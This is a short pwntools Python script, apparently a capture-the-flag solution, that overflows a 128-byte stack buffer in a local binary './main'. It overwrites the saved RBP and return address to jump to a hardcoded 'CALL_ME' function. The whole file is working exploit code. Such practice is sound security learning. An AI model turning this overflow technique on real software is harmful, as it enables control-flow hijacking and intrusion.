
from pwn import *

CALL_ME = 0x00400577

s = process("./main")

# Uncomment for debugging
#s = process("./main")
#gdb.attach(s, 'b*0x080484af')

payload = 'A'*128
payload += 'BBBBBBBB' # RBP
payload += p64(CALL_ME)
payload += p64(0x41) # RET

payload += '\n'
s.send(payload)
print(s.recv())
s.close()